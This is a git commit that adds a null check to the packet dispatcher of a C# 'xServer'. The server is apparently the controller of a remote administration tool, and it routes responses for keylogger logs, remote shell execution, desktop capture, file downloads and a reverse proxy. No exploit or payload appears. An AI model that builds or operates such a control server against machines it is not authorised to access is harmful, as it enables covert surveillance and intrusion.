<commit_before>﻿using xServer.Core.Commands;
using xServer.Core.Networking;
using xServer.Core.ReverseProxy;

namespace xServer.Core.Packets
{
    public static class PacketHandler
    {
        public static void HandlePacket(Client client, IPacket packet)
        {
            var type = packet.GetType();

            if (!client.Value.IsAuthenticated)
            {
                if (type == typeof(ClientPackets.GetAuthenticationResponse))
                    CommandHandler.HandleGetAuthenticationResponse(client, (ClientPackets.GetAuthenticationResponse)packet);
                else
                    client.Disconnect();
                return;
            }

            if (type == typeof(ClientPackets.SetStatus))
            {
                CommandHandler.HandleSetStatus(client, (ClientPackets.SetStatus)packet);
            }
            else if (type == typeof(ClientPackets.SetUserStatus))
            {
                CommandHandler.HandleSetUserStatus(client, (ClientPackets.SetUserStatus)packet);
            }
            else if (type == typeof(ClientPackets.GetDesktopResponse))
            {
                CommandHandler.HandleGetDesktopResponse(client, (ClientPackets.GetDesktopResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetProcessesResponse))
            {
                CommandHandler.HandleGetProcessesResponse(client,
                    (ClientPackets.GetProcessesResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetDrivesResponse))
            {
                CommandHandler.HandleGetDrivesResponse(client, (ClientPackets.GetDrivesResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetDirectoryResponse))
            {
                CommandHandler.HandleGetDirectoryResponse(client, (ClientPackets.GetDirectoryResponse)packet);
            }
            else if (type == typeof(ClientPackets.DoDownloadFileResponse))
            {
                CommandHandler.HandleDoDownloadFileResponse(client,
                    (ClientPackets.DoDownloadFileResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetSystemInfoResponse))
            {
                CommandHandler.HandleGetSystemInfoResponse(client,
                    (ClientPackets.GetSystemInfoResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetMonitorsResponse))
            {
                CommandHandler.HandleGetMonitorsResponse(client, (ClientPackets.GetMonitorsResponse)packet);
            }
            else if (type == typeof(ClientPackets.DoShellExecuteResponse))
            {
                CommandHandler.HandleDoShellExecuteResponse(client,
                    (ClientPackets.DoShellExecuteResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetStartupItemsResponse))
            {
                CommandHandler.HandleGetStartupItemsResponse(client,
                    (ClientPackets.GetStartupItemsResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetKeyloggerLogsResponse))
            {
                CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet);
            }
            else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) ||
                    type == typeof(ReverseProxy.Packets.ReverseProxyData) ||
                    type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect))
            {
                ReverseProxyCommandHandler.HandleCommand(client, packet);
            }
        }
    }
}
<commit_msg>PacketHandler fix<commit_after>﻿using xServer.Core.Commands;
using xServer.Core.Networking;
using xServer.Core.ReverseProxy;

namespace xServer.Core.Packets
{
    public static class PacketHandler
    {
        public static void HandlePacket(Client client, IPacket packet)
        {
            var type = packet.GetType();

            if (client.Value == null)
                return;

            if (!client.Value.IsAuthenticated)
            {
                if (type == typeof(ClientPackets.GetAuthenticationResponse))
                    CommandHandler.HandleGetAuthenticationResponse(client, (ClientPackets.GetAuthenticationResponse)packet);
                else
                    client.Disconnect();
                return;
            }

            if (type == typeof(ClientPackets.SetStatus))
            {
                CommandHandler.HandleSetStatus(client, (ClientPackets.SetStatus)packet);
            }
            else if (type == typeof(ClientPackets.SetUserStatus))
            {
                CommandHandler.HandleSetUserStatus(client, (ClientPackets.SetUserStatus)packet);
            }
            else if (type == typeof(ClientPackets.GetDesktopResponse))
            {
                CommandHandler.HandleGetDesktopResponse(client, (ClientPackets.GetDesktopResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetProcessesResponse))
            {
                CommandHandler.HandleGetProcessesResponse(client,
                    (ClientPackets.GetProcessesResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetDrivesResponse))
            {
                CommandHandler.HandleGetDrivesResponse(client, (ClientPackets.GetDrivesResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetDirectoryResponse))
            {
                CommandHandler.HandleGetDirectoryResponse(client, (ClientPackets.GetDirectoryResponse)packet);
            }
            else if (type == typeof(ClientPackets.DoDownloadFileResponse))
            {
                CommandHandler.HandleDoDownloadFileResponse(client,
                    (ClientPackets.DoDownloadFileResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetSystemInfoResponse))
            {
                CommandHandler.HandleGetSystemInfoResponse(client,
                    (ClientPackets.GetSystemInfoResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetMonitorsResponse))
            {
                CommandHandler.HandleGetMonitorsResponse(client, (ClientPackets.GetMonitorsResponse)packet);
            }
            else if (type == typeof(ClientPackets.DoShellExecuteResponse))
            {
                CommandHandler.HandleDoShellExecuteResponse(client,
                    (ClientPackets.DoShellExecuteResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetStartupItemsResponse))
            {
                CommandHandler.HandleGetStartupItemsResponse(client,
                    (ClientPackets.GetStartupItemsResponse)packet);
            }
            else if (type == typeof(ClientPackets.GetKeyloggerLogsResponse))
            {
                CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet);
            }
            else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) ||
                    type == typeof(ReverseProxy.Packets.ReverseProxyData) ||
                    type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect))
            {
                ReverseProxyCommandHandler.HandleCommand(client, packet);
            }
        }
    }
}

{'fraction_non_alphanumeric': 0.07968559425396395, 'fraction_numerical': 0.0, 'mean_word_length': 1.991487636805837, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 6, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '348528', 'n_tokens_mistral': 1785, 'n_tokens_neox': 1714, 'n_words': 231}